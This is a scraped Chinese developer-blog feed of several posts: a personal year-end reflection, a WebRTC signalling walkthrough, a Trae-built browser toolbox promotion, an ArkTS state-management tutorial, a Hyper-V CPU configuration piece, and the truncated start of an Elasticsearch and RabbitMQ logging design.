谈到生娃,生娃是不可能生的,目前的想法还是不要孩子,身边的家人朋友听完都笑而不语,说什么可能过几年想法就变了吧,那就过几年再看吧。现在的社会结构下,经济环境下,再结合自己的余额,根本生不起。

从国庆到现在

国庆回家先去了媳妇儿家,她堂弟脑瘤,医生说做手术最多活一年,不做手术半年,感叹生命逝去的速度,去年下半年还在带着他在上海华山医院看病,说是脑炎,但是今年突然就说是脑瘤,然后下病危通知,在家熬着。

国庆后面几天强行带老爹去医院检查,说是高血压导致脑梗初发,之前从来没听他说过身体有哪里不舒服,直到自己手抖的不停,才愿意去医院。

老爹有个坏习惯和坏脾气,身体不舒服喜欢自己去百度搜索,然后在百度的链接里买假药,我劝了很多次,根本不听。我真是※※※※的百度,垃圾企业为什么还不倒闭?老年人根本就不懂这个,他看那广告写的药到病除,就直接买。

不知道在抖音那里看到的什么安神补脑液,跑去京东买买买,那玩意儿我们一眼就能看出来是骗人的,但老年人分辨不出来。我看了他的抖音,随便刷一刷都是些营销号跟卖假药的,属于是刷多了这种,算法觉得他爱看。

老年人 + 脾气倔 + 不舍得花钱 + 不相信医院 + 普通儿女 = 无解。

我爹还有一个让人无语到极致的问题,他不信任医生,不信任医院,经常说医院只会骗钱,医生刚提了个建议住院观察,因为血压真的太高了,高压都到180了,他就说我不住院,就是不住院,没办法医生只能开药。买了个血压检测仪让他每天量血压。

后面可能是我每天都问血压问到他烦了,吵了一架,说什么高血压根本无所谓这种话,还说过完年要出去挣钱了,什么破病越害怕越治不好,我都要被他气到高血压了!药吃完了也不说,自己去京东买假药,被我妈发现了联系我叫我给他退了。

有时候想想,假如我有钱,甩给他200w,他就老实了,也不想着出去赚钱了,也愿意去医院看病了,挺无力的,我只是个普通儿女罢了,恨自己没有能力。

这两天又说睡不着觉,身体不舒服,叫他去医院复查,吃药也不愿意,自己去京东买那种30块一瓶的,号称专治高血压,一瓶见效的那种,我去那个店里看了下,都是卖一下什么治肾虚,止咳化痰,啥宫颈糜烂的药,一眼就是骗子店,我是真不知道为什么京东能给他过审核,搜索高血压他排名还能靠前!一提让他去医院,直接挂你电话,微信也不回了。下一次理你的时候,就是给你微信分享一些营销号的视频。

支付宝给他买了医疗保险,但是对于老年人不卖那种 0 元起赔的,有 1w 的免赔额,我妈跟我媳妇儿都说,不要管了,管不了,这么大年纪了,他想干啥干啥,有病能看就看,看不了没办法,这种人救不了。我现在已经尽力不去想这些事了,一想到我血压就上来了。

20几年前说什么只生一个好,政府来养老,真的是历史文件不具备现实可行性,讽刺啊!

我就是独生子女,面对这种情况,真心羡慕有兄弟姐妹的,这样起码有一个子女可以抽出来时间,强行带他去医院,而不是只能通过电话催促。

顺便提一嘴,10月底实在是不想上班了,休假跟朋友自驾去了舟山,放松了一下。

今年的年终总结不太想谈工作上的事,因为也没啥好说的,依旧是搬砖,没什么大的提升,今年总共写了 5 篇文章,然后把所有博客从烂透了的 CSDN 搬到了掘金。

对2025年的期望

最近这段时间感觉自己挺累的,受够了这种两点一线的生活,新的一年

  1. 希望自己多多攒钱,如果不被裁的情况下,希望2026年写年终总结的时候,能攒够20。
  2. 希望自己能掌握跟父母沟通的方法,特别是我爸,希望今年能够改变他的观念,好好治疗。
  3. 买了本TED,希望新的一年能够读完。
  4. 坚持多邻国打卡,新的一年分数达到60以上。
  5. 老目标了 —————— 减肥到140斤
  6. 也是老目标了 ——————— 搞副业,目标金额 > 5k就算完成好吧。
  7. 搞定房子的装修,打打柜子,把儿童房改成电竞房,买点家具啥的。

提前写一些2026年的安排吧,如果一切顺利,攒到钱的话可能会考虑给自己放个假,休息一下。从毕业到现在,每次换工作都是无缝衔接,没休息过,累了。现在已经完成了人生前半部分,结婚,买房买车。希望能够休息一段时间,可能是半年或者一年,然后认真选择自己人生后半部分的活法。

by 阿彪最稳健了 at January 22, 2025 09:13 AM

juejin backend

第三章 流式流转时序图

整体时序介绍

流程如下所示。 1.连接双方(Peer)通过第三方服务器来交换(Signaling)各自的SessionDescription数据。

2.连接双方(Peer)通过STUN协议从STUN Server那里获取到自己的NAT结构、子网IP和公网IP、端口,这里的IP和端口对我们称之为ICE Candidate。

3.连接双方(Peer)通过第三方服务器来交换(Signalling)各自ICE Candidates,如果连接双方在同一个NAT下那他们仅通过内网Candidate就能建立起连接,反之如果他们处于非对称型NAT下,就需要STUN Server识别出的公网Candidate进行通讯。

4.如果仅通过STUN Server发现的公网Candidate仍然无法建立连接,换句话说就是连接双方(Peer)中至少有一方处于对称NAT下,这就需要处于对称NAT下的客户端(Peer)去寻求TURN Server提供的转发服务,然后将转发形式的Candidate共享(Signalling)给对方(Peer)。

5.连接双方(Peer)向目标IP端口发送报文,通过SessionDescription中涉及的密钥以及期望传输的内容,建立起加密长连接。

A(local)和B(remote)代表两个人, 初始化并分别创建PeerConnection , 并向PeerConnection 添加本地媒体流。处理流程如下所示。

  1. A创建Offer
  2. A保存Offer(设置本地描述)
  3. A发送Offer给B
  4. B保存Offer(设置远端描述)
  5. B创建Answer
  6. B保存Answer(设置本地描述)
  7. B发送Answer给A
  8. A保存Answer(设置远端描述)
  9. A发送Ice Candidates给B
  10. B发送Ice Candidates给A
  11. A,B收到对方的媒体流并播放

时序图

第三章 流式流转时序图

从通讯角色角度的示意图

第三章 流式流转时序图

注意事项

这里针对时序图中的一些情况做具体说明:

  1. 上图不完全是 API 的调用流程,读者在编程时仍需参考 WebRTC 的文档或源码注释。
  2. 先进入房间的用户是发起方(Indicator),后进入房间的用户是参与者(Participant)。如果参与者进房时信令服务器已经有 offerSdp 甚至(发起方的)ICE candidate 信息了,则信令服务器可以将它们与 ICE server addr 一起返回给参与者。
  3. add audio & video tracks 不是连接流程中的关键步骤,也可以在 ICE 流程之后再执行。
  4. 在 SetLocalDescription 执行成功后,协商 SDP 和 ICE candidate 的流程便会同时开始。
  5. 通话双方均与选定的 ICE 服务器连接成功后,即可开始相互推流。
  6. 在 多人会议服务端架构 中,一般由 SFU 服务器同时充当 ICE 服务器的角色。

by 拉达曼迪斯 at January 22, 2025 09:10 AM

juejin freebie

30 分钟通过Trae 写了个浏览器插件工具箱

我正在参加Trae「超级体验官」创意实践征文, 本文所使用的 Trae 免费下载链接: www.trae.ai/?utm_source…

Trae.ai 编译器生成工具

引言

在当今快速发展的软件开发领域,AI 驱动的编译工具正在改变传统的开发模式。Trae.ai 编译器作为新一代智能开发工具,将 AI 能力与编译技术深度结合,为开发者提供了一个革命性的编程助手。

核心技术架构

1. 智能代码生成引擎

// 示例:智能生成模态框组件
@trae.generate
function generateModalComponent() {
    const modalTemplate = `
    <div class="modal" id="toolModal">
        <div class="modal-content">
            <div class="modal-header">
                <h2 id="modalTitle"></h2>
                <button class="close-btn" onclick="closeModal()">
                    <i class="ri-close-line"></i>
                </button>
            </div>
            <div class="modal-body" id="modalBody">
                <!-- 动态加载工具内容 -->
            </div>
        </div>
    </div>`;

    return {
        template: modalTemplate,
        methods: {
            openModal: (title, content) => {
                const modal = document.getElementById('toolModal');
                modal.style.display = 'block';
            },
            closeModal: () => {
                const modal = document.getElementById('toolModal');
                modal.style.display = 'none';
            }
        }
    };
}

image.png

2. 代码优化系统

// 性能优化示例:JSON处理优化
@trae.optimize
function formatJson() {
    const textarea = document.getElementById('jsonInput');
    const lineNumbers = document.getElementById('lineNumbers');

    try {
        // AI优化:预处理JSON字符串,移除末尾多余的逗号
        let jsonStr = textarea.value
            .replace(/,(\s*[}\]])/g, '$1')
            .replace(/,\s*$/g, '');

        // AI优化:使用更高效的解析方式
        const json = JSON.parse(jsonStr);
        const formattedJson = JSON.stringify(json, null, 2);

        textarea.value = formattedJson;
        updateLineNumbers(textarea, lineNumbers);
    } catch (e) {
        // AI优化:智能错误处理
        let errorMsg = 'JSON格式错误';
        if (e.message.includes('position')) {
            errorMsg += ':语法错误';
        } else if (e.message.includes('trailing comma')) {
            errorMsg += ':存在多余的逗号';
        }
        showToast(errorMsg, 'error');
    }
}

3. 智能主题系统

// 智能主题管理示例
@trae.analyze({
    performance: true,
    accessibility: true
})
function initTheme() {
    const themeToggle = document.getElementById('themeToggle');
    const prefersDarkScheme = window.matchMedia('(prefers-color-scheme: dark)');

    // AI优化:智能主题初始化
    const savedTheme = localStorage.getItem('theme');
    if (savedTheme) {
        document.documentElement.setAttribute('data-theme', savedTheme);
    } else if (prefersDarkScheme.matches) {
        document.documentElement.setAttribute('data-theme', 'dark');
    }

    // AI优化:性能优化的主题切换
    const toggleTheme = () => {
        const currentTheme = document.documentElement.getAttribute('data-theme');
        const newTheme = currentTheme === 'dark' ? 'light' : 'dark';
        document.documentElement.setAttribute('data-theme', newTheme);
        localStorage.setItem('theme', newTheme);
    };

    // AI优化:智能事件监听
    if (themeToggle) {
        themeToggle.addEventListener('click', toggleTheme);
    }
}

image.png

image.png

实践应用场景

1. 快速原型开发

  • 通过自然语言描述快速生成基础代码框架
  • 自动生成 API 文档和测试用例
  • 智能推荐最佳实践和设计模式

image.png

2. 代码重构优化

  • 自动识别代码异味
  • 提供重构建议和方案
  • 保证重构后的代码质量

image.png

3. 性能调优

  • 自动分析性能瓶颈
  • 提供优化建议
  • 生成性能报告

最佳实践指南

1. 组件化开发

// 好的组件化实践
import { initHeader } from "./header.js";
import { initToolsGrid } from "./tools-grid.js";
import { initJsonModal } from "./json-modal.js";
import { initImageModal } from "./image-modal.js";

// AI自动组织组件初始化
export async function initComponents() {
  await Promise.all([
    initHeader(),
    initToolsGrid(),
    initJsonModal(),
    initImageModal(),
  ]);
}

2. 响应式设计

/* AI优化的响应式样式 */
@media (max-width: 768px) {
  .tools-grid {
    grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
    gap: 16px;
    padding: 16px;
  }

  .tool-item button {
    height: 160px;
    padding: 24px;
  }

  .tool-item i {
    font-size: 40px;
    width: 70px;
    height: 70px;
    border-radius: 20px;
  }
}

技术规格

  • 编译优化

    • 即时编译(JIT)
    • 静态分析优化
    • 内联优化
    • 循环优化
  • AI 模型

    • 基于 Transformer 架构
    • 支持增量学习
    • 上下文感知能力
    • 多模态输入支持

安全性考虑

  1. 代码安全

    • 自动检测安全漏洞
    • 符合 OWASP 标准
    • 敏感信息保护
  2. 数据安全

    • 本地优先处理
    • 加密传输
    • 访问控制

未来展望

Trae.ai 编译器代表了 AI 辅助开发的未来方向:

  • 更智能的代码理解
  • 更精准的优化建议
  • 更自然的人机交互
  • 更强大的多语言支持

通过Trae编写的智能工具箱浏览器插件(gitee.com/class-java/…)

image.png

image.png

image.png

image.png

# 快捷工具集 (Shortcut Tools)

一个实用的浏览器扩展工具箱,集成了多种常用的开发工具和实用功能。

## 功能特性

### 1. JSON 工具

- JSON 格式化和验证
- 提供直观的 JSON 数据处理界面

### 2. 图片工具

- 支持图片转 Base64 编码
- 支持拖拽上传图片
- 快速复制 Base64 编码结果
- 实时图片预览功能

## 界面特点

- 简洁现代的用户界面
- 响应式设计
- 直观的工具网格布局
- 统一的模态框交互体验
- 友好的操作提示

## 项目结构

├── components/     # 组件目录
├── css/           # 样式文件
├── icons/         # 图标资源
├── js/            # JavaScript 源码
│   └── components/  # JS 组件
├── manifest.json  # 扩展配置文件
└── popup.html     # 扩展弹出页面

## 安装方法

1. 下载本项目代码
2. 打开 Chrome 浏览器,进入扩展程序页面 (chrome://extensions/)
3. 开启「开发者模式」
4. 点击「加载已解压的扩展程序」
5. 选择本项目所在目录

## 使用说明

1. 点击浏览器工具栏中的扩展图标
2. 在弹出的工具箱中选择需要使用的工具:
   - 选择「JSON 工具」进行 JSON 相关操作
   - 选择「图片工具」进行图片转 Base64 操作

## 技术栈

- 原生 JavaScript (ES6+)
- HTML5 & CSS3
- Chrome Extensions API

## 开发说明

本项目采用模块化的开发方式,各功能组件独立封装,便于维护和扩展。使用原生 JavaScript 开发,无需额外依赖,保持轻量级的特点。

工具地址:gitee.com/class-java/…

结语

Trae.ai 编译器通过将 AI 能力与传统编译技术相结合,为开发者提供了一个强大的开发工具。它不仅提高了开发效率,还确保了代码质量和安全性。随着技术的不断进步,我们期待看到更多创新性的应用场景。

by 反卷猫 at January 22, 2025 09:07 AM

juejin frontend

状态管理(V2)

1、@Local组件内部状态

  • @Local装饰的变量只能在组件内部初始化
  • @Local只能装饰变量本身
    • 对于简单类型string、number、boolean可以观察到赋值变化
    • 对于对象,监听到整体赋值,无法监听属性变化(如需要监听属性,请使用ObservedV2 + @Trace
    • 对于Array,监听到整体赋值与数组元素项的变化
    • 其他类型:Date、Map、Set、Array可以观察到整体赋值和API调用引起的变化

V1@State对比

+ `@State`允许从外部初始化,也可以本地初始化,`@Local`仅允许本地初始化
+ `@State`对于对象类型可以观察到整体赋值与第一层属性变化,`@Local`对于对象类型仅能观察到赋值(深层监听依赖`ObservedV2 + @Trace`)
// 1、基本数据类型均可观察变化
@Local age: number = 18;
// 2、类对象类型观察到整体赋值,无法观察到对象属性变化
@Local person: Person = new Person('小玉', 18);
// 3、Array类型观察到整体赋值,也可以观察到元素项变化
@Local arr: string[] = ['a'];
// 4、Map、Date、Set等内置对象观察到整体赋值和由于API调用引起的变化,如:Map.set() Set.add() Date.setFullYear()
@Local mapping: Map<string, string> = new Map();
// 5、Array嵌套复杂类型时,可观察到Array的整体赋值,元素项的监听同上,如元素项是类对象则对应第2条规则
@Local list: Person[] = [new Person('', 0)];

2、@Param组件外部输入 @Once初始化同步一次

  • @Param可以外部初始化,也支持本地初始化,当同时存在本地初始值与外部传入值时,会优先使用外部传入值进行初始化
    • @Param @Require搭配使用表示必须从外部传入初始化
    • @Param @Once搭配使用表示仅从外部初始化一次、不接受后续同步变化的能力,并且此时允许组件内部修改变量
  • @Param装饰的变量不允许组件内部修改,只能等数据源(必须为状态变量才能同步)变化时同步给子组件
  • 对于复杂类型,@Param接受数据源的引用(但此时组件内部对类对象属性的修改会同步给数据源)

V1@Prop对比

+ `@Prop`对于复杂类型会深拷贝,性能差,`@Param`接受数据源的引用
// 1、可以外部初始化,也可以本地初始化,同时存在则使用外部
@Param name: string = '';
// 2、与@Require搭配使用表示必须由外部初始化
@Param @Require age: number;
// 3、与@Once搭配使用表示仅从外部初始化一次、不接受后续同步变化的能力,此时变量可以在组件内部修改
@Param @Once msg: string = '';

3、@Event规范组件输出

  • @Event主要配合@Param实现数据的父子同步,由于@Param在组件本地无法修改,需要父组件通过自定义方法(修改状态变量的方法)传入到子组件,子组件内部调用触发,父组件再同步回子组件实现双向同步
// Child.ets
// @Param标志着组件的输入
@Param msg: string = '';
// @Event标志着组件的输出,可以通过该方法影响父组件
@Event changeMsg: () => void = () => {};

// Father
@Local msg: string = 'Hello World';
changeMsg() {
    this.msg = 'Hello ArkTS'
}
build() {
    // changeMsg通过自定义方法
    Child({ msg: this.msg, changeMsg: () => { this.changeMsg() } })
}

4、@ObservedV2类对象的深度监听 @Trace与按需监听

  • @ObservedV2装饰器仅能装饰class@Trace装饰器仅能装饰类的成员属性,需要配合使用,单独使用不起作用
  • 只有被@Trace装饰的类成员属性变更时,才会通知依赖该属性的UI更新
  • 多层嵌套类场景时,仅被直接使用的属性需要被@Trace装饰且该属性所属类需要被@ObservedV2装饰

V1@Observed & @ObjectLink对比

+ `V1 @Observed`搭配`@Track`使用,但是需要使用`@ObjectLink`接收`@Observed`装饰的类的实例,这需要额外创建组件
@ObservedV2
class Info {
    // 只需要被直接使用的属性@Trace装饰,所属类被@ObservedV2装饰
    @Trace num: number = 1
}

class Person {
    name: string;
    age: number;
    info: Info;
    constructor(name: string, age: number) {
        this.name = name;
        this.age = age;
        this.info = new Info()
    }
}

@ComponentV2
struct StateV2 {
    @Local person: Person = new Person('', 18);

    build() {
        Column({ space: 10 }) {
            Button(`${this.person.info.num}`)
            .onClick(() => {
                this.person.info.num += 1;
            })
        }
    }
}

// V1 针对多层嵌套类场景,@ObjectLink接收被@Observed需要单独创建组件
@Component
struct StateV1 {
    @State person: Person = new Person('', 18);

    build() {
        Column({ space: 10 }) {
            // 为了接收@Observed装饰的类的实例,需要额外创建一个组件
            ChildComponent({ info: this.person.info })
        }
    }
}

@Component
struct ChildComponent {
    @ObjectLink info: Info;
    build() {
        Button(`${this.info.num}`)
            .onClick(() => {
                this.info.num += 1;
            })
    }
}

5、@Monitor监听状态变量修改

  • 仅能监听状态变量,无法监听普通变量
  • 可一次性监听多个属性
  • 具有深度监听的能力,可监听嵌套类、多维数组、对象数组中指定项的变化

V1@Watch对比

  • @Watch仅能监听单个数据,@Monitor可以多数据监听
  • @Watch不能获取变化前的值,@Monitor可以获取变化前的值
  • @Monitor可以整体监听,也可以监听被@Trace装饰的类成员属性,@Watch只能整体监听
  • @Monitor支持监听多层嵌套场景,@Watch针对类对象状态变量的整体赋值与第一层属性变化
  • @Monitor可以在@ObservedV2装饰的类中使用,@Watch不能
@ObservedV2
class Info {
    @Trace weight: number = 90;
}

@ObservedV2
class Person {
    // age被@Trace装饰,能够监听变化
    @Trace age: number = 18;
    // name未被@Trace装饰,不能够监听变化
    name: string = '';
    info: Info = new Info();

    // 1、@Monitor可以在@ObservedV2装饰的类中使用
    @Monitor('age')
    ageChange(monitor: IMonitor) {}

    // 2、@Monitor可以监听深层属性的变化,该深层属性需要被@Trace装饰
    @Monitor('info.weight')
    weightChange(monitor: IMonitor) {}
}

@ComponentV2
export struct StateV2 {
    @Local num: number = 1;
    @Local person: Person = new Person('', 18);
    @Local arr: Person[][] = [[new Person('', 0), new Person('', 1)], []]
    // 支持多属性监听、深度监听,类对象属性需要被@Trace装饰
    @Monitor('num', 'person.info.weight', 'arr.0', 'arr.0.1.info.weight')
    ageChange(monitor: IMonitor) {
        monitor.dirty.forEach((path: string) => {
            hilog.info(0x0123, '', `属性 ${path}:变化前 = ${monitor.value(path)?.before};变化后 = ${monitor.value(path)?.now}`)
        })
    }

    build() {}
}

6、@Computed计算属性

  • 方法装饰器,仅能装饰getter方法,惰性计算,仅依赖属性变化时重新求值
  • 可以在@ObservedV2装饰的类中使用@Computed
// 1、在组件中使用
@ComponentV2
export struct StateV2 {
    @Local num: number = 1;
    @Local person: Person = new Person('张三', 18);

    @Computed
    get valName() {
        return `${this.person.name} => ${this.num}`
    }
}

// 2、在@ObservedV2装饰的类中使用@Computed
@ObservedV2
class Person {
    @Trace name: string;
    @Trace age: number;
    info: Info;
    constructor(name: string, age: number) {}

    @Computed
    get allMsg() {
        return `${this.name}:年龄${this.age},体重${this.info.weight}`
    }
}

7、AppStorageV2应用全局UI状态管理

  • connect(type, key?, defaultCreator) 创建或获取储存的数据,key未指定时,则使用typename作为key
  • remove(keyOrType) 删除指定key的储存数据,如果参数为type则使用typename作为key
  • keys() 返回所有AppStorageV2中的key
@ObservedV2
class SafeArea {
  @Trace top: number;
  @Trace bottom: number;

  constructor(top: number, bottom: number) {
    this.top = top;
    this.bottom = bottom;
  }
}

export default class EntryAbility extends UIAbility {
    onCreate() {
        // AppStorageV2是应用级别的,可以在全局任意地方使用
        AppStorageV2.connect(SafeArea, () => new SafeArea(top.topRect.height, bottom.bottomRect.height))
    }
}

@ComponentV2
export struct StateV2 {
    // connect仅一个参数type时,需确保有值否则程序奔溃crash
    @Local area: SafeArea = AppStorageV2.connect(SafeArea)!;

    build() {
        Colume() {
            Text(`${this.area.top}`)
                // 更新数据
                .onClick(() => {
                    // 直接修改通过 AppStorageV2.connect 获取的对象属性即可。修改后的数据会自动同步到 AppStorageV2 中
                    this.area.top += 1;
                })
        }
    }
}

V2 中不存在也不需要页面级的状态管理 LocalStorage,使用@ObservedV2/@Trace实现相同效果

  • 声明@ObservedV2装饰的类
  • 声明被@Trace的属性作为页面间共享的可观察的数据
  • 状态管理V2将观察能力增强到数据本身,数据本身就是可观察的,更改数据会触发相应的视图的更新,因此只需要对同一个类实例进行修改会触发所有引用该实例的UI刷新
// Constant.ets
// 写法1,单例
@ObservedV2
export class BaseInfo {
  @Trace num: number = 1;
  static singleton_: BaseInfo;
  static instance() {
    if (!BaseInfo.singleton_) {
      BaseInfo.singleton_ = new BaseInfo();
    }
    return BaseInfo.singleton_;
  }
}
// 写法2,直接导出实例
@ObservedV2
export class UserInfo {
  @Trace age: number = 1
}
export const userInfo: UserInfo = new UserInfo();
// 此时数据在AB页面之间共享
// PageA.ets
import { BaseInfo, userInfo, UserInfo } from './Constant.ets'
@ComponentV2
export struct PageA {
    baseInfo: BaseInfo = BaseInfo.instance();
    @Local userInfo: UserInfo = userInfo;

    build() {
        Column() {
            Button('click').onClick(() => {
                this.baseInfo.num += 1;
            })
            Button(`${this.userInfo.age}`).onClick(() => {
                // 页面A的修改会同步给B
                this.userInfo.age += 1;
            })
        }
    }
}
// PageB.ets
import { BaseInfo, userInfo, UserInfo } from './Constant.ets'
export struct PageB {
    baseInfo: BaseInfo = BaseInfo.instance();
    @Local userInfo: UserInfo = userInfo;

    build() {
        Column() {
            Button('click').onClick(() => {
                this.baseInfo.num += 1;
            })
            Button(`${this.userInfo.age}`).onClick(() => {
                // 页面B的修改会同步给A
                this.userInfo.age += 1;
            })
        }
    }
}

8、@Provider 和 @Consumer 跨组件层级双向同步

@Provider(aliasName?: string) varName: varType = initValue; @Consumer(aliasName?: string) varName: varType = defaultValue;

  • aliasName别名,缺省时使用属性名varName
  • 必须本地初始化,区别:V1(@Provide)允许从父组件初始化
  • 可以装饰箭头函数,区别:V1(@Provide)不支持
  • 装饰复杂类型时依赖@ObservedV2@Trace
@ObservedV2
class Person {
    @Trace age: number = 18;
}
// 父组件
@Provider() appName: string = '鸿蒙App';
@Provider('aliasName') varName: number = 1;
// 装饰箭头函数
@Provider() onDrag: (x: number, y: number) => void = (x: number, y: number) => {
    hilog.info(0x0123, '', `${x} => ${y}`)
}
// 复杂类型
@Provider('person') p: Person = new Person();

// 子孙组件
@Consumer() appName: string = ''; // 缺省别名则使用属性名向上查找最近的同名属性
@Consumer('aliasName') localName: string = '';
@Consumer() onDrag: (x: number, y: number) => void = () => {};
@Consumer() person: Person | undefined;

9、PersistenceV2 持久化存储状态

  • PersistenceV2是在应用UI启动时会被创建的单例,会将最新数据储存在设备磁盘上(持久化)

  • 持久化的数据必须是class对象,不能是容器(如Array、Set、Map),不能是内置的构造对象(如Date、Number)

  • 单个key支持数据大小约8k,过大会导致持久化失败

  • 持久化存储@ObservedV2 & @Trace的数据改变会触发自动持久化,其他数据需要手动触发持久化

  • connect(type, keyOrDefaultCreater?, defaultCreator?) 创建或获取储存的数据

    • 未指定key则使用type.name作为key,此时第二个参数指默认构造器
  • remove(keyOrType) 删除指定key的储存数据

  • keys() 返回所有PersistenceV2中的key

  • save(keyOrType) 手动持久化数据

  • notifyOnError(callback) 响应序列化或反序列化失败的回调

    • 将数据存入磁盘时,需要对数据进行序列化;当某个key序列化失败时,错误是不可预知的;可调用该接口捕获异常
@ObservedV2
class Result {
    code: number = 0;
    @Trace msg: string = '成功';
}
// 创建或获取储存的数据
@Local main: Result = PersistenceV2.connect(Result, 'Result', () => new Result())!;

msgChange() {
    // @ObservedV2 & @Trace装饰的数据会自动持久化
    this.main.msg = '失败';
}
codeChange() {
    this.main.code = -1;
    // 未被@Trace装饰的成员如果需要进行持久化保存需要手动触发 save
    PersistenceV2.save('Result');
}

10、!!语法糖 双向绑定

  • @Event 方法名需要申明为 '$' + @Param属性名
Child({ value: this.value!! }) // 语法糖,相当于 Child({ value: this.value, $value: (val: string) => { this.value = val; } })

// Child
@Param value: string = '';
@Event $value: (val: string) => void = () => {};

handleChange() {
    this.$value('xxx');
}

11、makeObserved 将非观察数据变为可观察数据

  • makeObserved可以在@Trace无法标记的情况下使用
    • class的定义在三方包中
    • interface或者JSON.parse返回的匿名对象
  • 仅支持非空的对象类型传参
  • makeObserved不支持传入被@ObservedV2、@Observed装饰的类的实例以及已经被makeObserved封装过的代理数据。为了防止双重代理,makeObserved发现入参为上述情况时则直接返回,不做处理
  • makeObserved可以使用在 V1 @Component中,但不能搭配装饰器使用
class NavConfig {
    navName: string
    constructor(name: string) {
        this.navName = name
    }
}
@ComponentV2
struct Index {
    // 将非观察数据JSON.parse()返回的匿名对象变为可观察数据,不需要装饰器修饰
    navConfig: NavConfig = UIUtils.makeObserved(JSON.parse(JSON.stringify(new NavConfig('Home'))));
    // makeObserved可以和V2的装饰器一起使用,使对象具有深度观察能力
    @Local navConfig: NavConfig = UIUtils.makeObserved(new NavConfig('Home'));

    handleChange() {
        // 会触发UI更新
        this.navConfig.navName = 'List';
    }
}

// makeObserved可以使用在@Component中使用,使数据具有观察能力
@Component
struct Index {
    // 数据已具有观察能力,可以触发UI刷新
    message: Info = UIUtils.makeObserved(new Info(20));
}

12、UIUtils.getTarget 获取状态管理框架代理前的原始对象

class Person {
    age = 1;
}
const person = new Person();

@ComponentV2
struct Index {
    private p: Person = UIUtils.makeObserved(person);

    aboutToAppear() {
        // 1、getTarget仅支持对象类型传参
        UIUtils.getTarget(1); // Argument of type 'number' is not assignable to parameter of type 'object'. <ArkTSCheck>

        const temp = UIUtils.getTarget(this.p); // 获取代理前的原始对象
        temp  === person; // true
        // 2、更改getTarget获取的原始对象中的内容不会被观察到变化,也不会触发UI刷新
        temp.age += 1;
    }
}

by logbn520 at January 22, 2025 09:05 AM

juejin article

hyper v cpu,Hyper-V中CPU怎么配置?

稀土4.png

在Hyper-V搭建的虚拟化世界里,CPU扮演着极为关键的角色,是决定虚拟机性能优劣的核心要素。对于企业而言,虚拟机承载着各类重要业务系统,从日常办公的邮件服务器到关键的业务处理系统,这些系统的高效运行离不开CPU资源的合理调配。如果CPU资源分配不足,虚拟机运行的业务系统可能出现响应迟缓、处理能力下降等问题,严重影响企业的运营效率和业务连续性。而充足且合理分配的CPU资源,能确保企业业务虚拟机在高负载下稳定运行,满足企业不断增长的业务需求。

个人开发者和技术爱好者在利用Hyper-V进行软件开发、技术测试时,CPU性能直接关系到测试环境的流畅度和开发效率。例如在进行大型软件的编译测试或者运行对计算资源要求较高的虚拟机操作系统时,强劲的CPU性能能够大幅缩短测试时间,提升开发和学习的体验。

Hyper-V中CPU相关配置步骤

创建虚拟机时的CPU配置:打开Hyper-V管理器,新建虚拟机。在设置过程中,进入“处理器”选项,根据虚拟机预计运行的任务类型和负载,合理分配CPU核心数。比如,用于简单文件共享服务的虚拟机,分配1-2个核心即可;若运行复杂的数据库管理系统,可能需要分配4个及以上核心。同时,还可以设置CPU资源的权重,以确定虚拟机在竞争资源时的优先级。

虚拟机运行中的CPU调整:虚拟机创建完成并运行后,若发现当前CPU配置无法满足业务需求,可在Hyper-V管理器中暂停虚拟机,再次进入“处理器”设置,动态调整CPU核心数或资源权重。调整完成后,恢复虚拟机运行,新的CPU配置即可生效。

但随着业务规模的扩大和应用场景的增多,对Hyper-V文件及虚拟机的管理变得愈发复杂。想象一下,企业拥有数十甚至上百个基于Hyper-V的虚拟机,每个虚拟机都关联着多个文件,手动管理这些文件和虚拟机的创建、配置等工作,不仅耗费大量的时间和人力,还容易出现错误。这时,一款专业的虚拟机批量管理工具就显得尤为重要,特别是hyper-v批量管理工具,能帮我们提高工作效率,它的使用步骤如下:

1.工具安装

将hyper-v批量管理工具,进行安装,按照向导提示完成安装。安装完后,打开工具。

2.批量操作执行

在工具界面中,我们可以选中多个虚拟机,轻松实现对虚拟机的批量开机、关机、重启等功能,如下图所示:

hyper1.png

如果要创建多个虚拟机,只需点击创建,然后设置创建数量、虚拟机名称、CPU数、存储路径、模板路径等,设置好之后,点击创建即可。也可以批量导入,导出功能健全!如下图所示:

hyper2.png

在Hyper-V虚拟化环境中,CPU的合理配置是释放虚拟化潜力、提升应用体验的关键,为企业和个人在数字化领域的发展提供了坚实的性能保障。

by 依依呀 at January 22, 2025 09:05 AM

juejin backend

企业实践中操作日志解决方案(ElasticSearch+RabbitMQ)

背景与需求

在企业应用中,操作日志是不可或缺的一部分,用于记录用户和系统的行为操作,包括新增、修改、删除等操作。这些日志不仅是审计和合规的需求,还能为问题追踪和行为分析提供关键数据。首先确定一点,需要什么:

  • 需要记录大量的操作日志,同时支持快速查询。
  • 需要按业务ID、操作类型、时间范围等条件检索日志。
  • 支持海量日志数据的分页查询,并按时间或其他字段排序。

解决方案概述

重新建立日志表和ES对比

优缺点Elasticsearch传统关系型数据库表
查询效率高效的全文搜索和聚合分析,支持大规模日志的快速查询查询性能受限于索引和表设计,大数据量时可能较慢
扩展性高扩展性,支持分布式部署和水平扩展水平扩展难度大,需要分库分表或复杂的分片设计
实时性支持近实时的数据写入与查询一般存在一定的延迟,尤其在大量数据写入时
易用性配置和维护较为复杂,需要精心设计索引和查询结构比较简单,但在数据量大时可能需要优化查询
存储要求对内存和存储要求较高,需要较多资源支持存储要求相对较低,适合存储结构化数据
数据一致性最终一致性模型,不保证强一致性强一致性,适合需要事务和严格数据一致性的场景

考虑到有多个服务都需要用到日志写入,与此同时公司正好CRM也是使用ElasticSearch,那决定就是你了。

本方案基于 RabbitMQElasticsearch (ES) ,采用消息队列异步处理日志写入操作,借助 Elasticsearch 提供高效的日志存储和搜索功能,实现了以下核心功能:

  1. 异步记录日志:通过 RabbitMQ 实现异步日志写入,提升系统性能,避免对主业务流程的阻塞。
  2. 高效搜索与过滤:借助 Elasticsearch 的强大搜索能力,实现复杂条件查询。
  3. 日志去重与排序:在日志查询结果中,通过自定义逻辑实现去重与排序。

核心实现

1. 日志记录

日志记录的核心代码如下,通过 convertAndSendObject 方法,将日志信息封装为 LogDto 对象,并异步发送到 RabbitMQ:

public void convertAndSendObject(String index, Long businessId, Integer client, String operationTypeName, String remark) {
    if (!StringUtils.isBlank(index)) {
        LogDto logDto = new LogDto();
        logDto.setBusinessId(businessId);
        logDto.setIndex(index);
        logDto.setOperationTypeName(operationTypeName);
        if (client != null) {
            logDto.setOperationTypeName((client == 1 ? "用户端" : "管理端") + operationTypeName);
        }

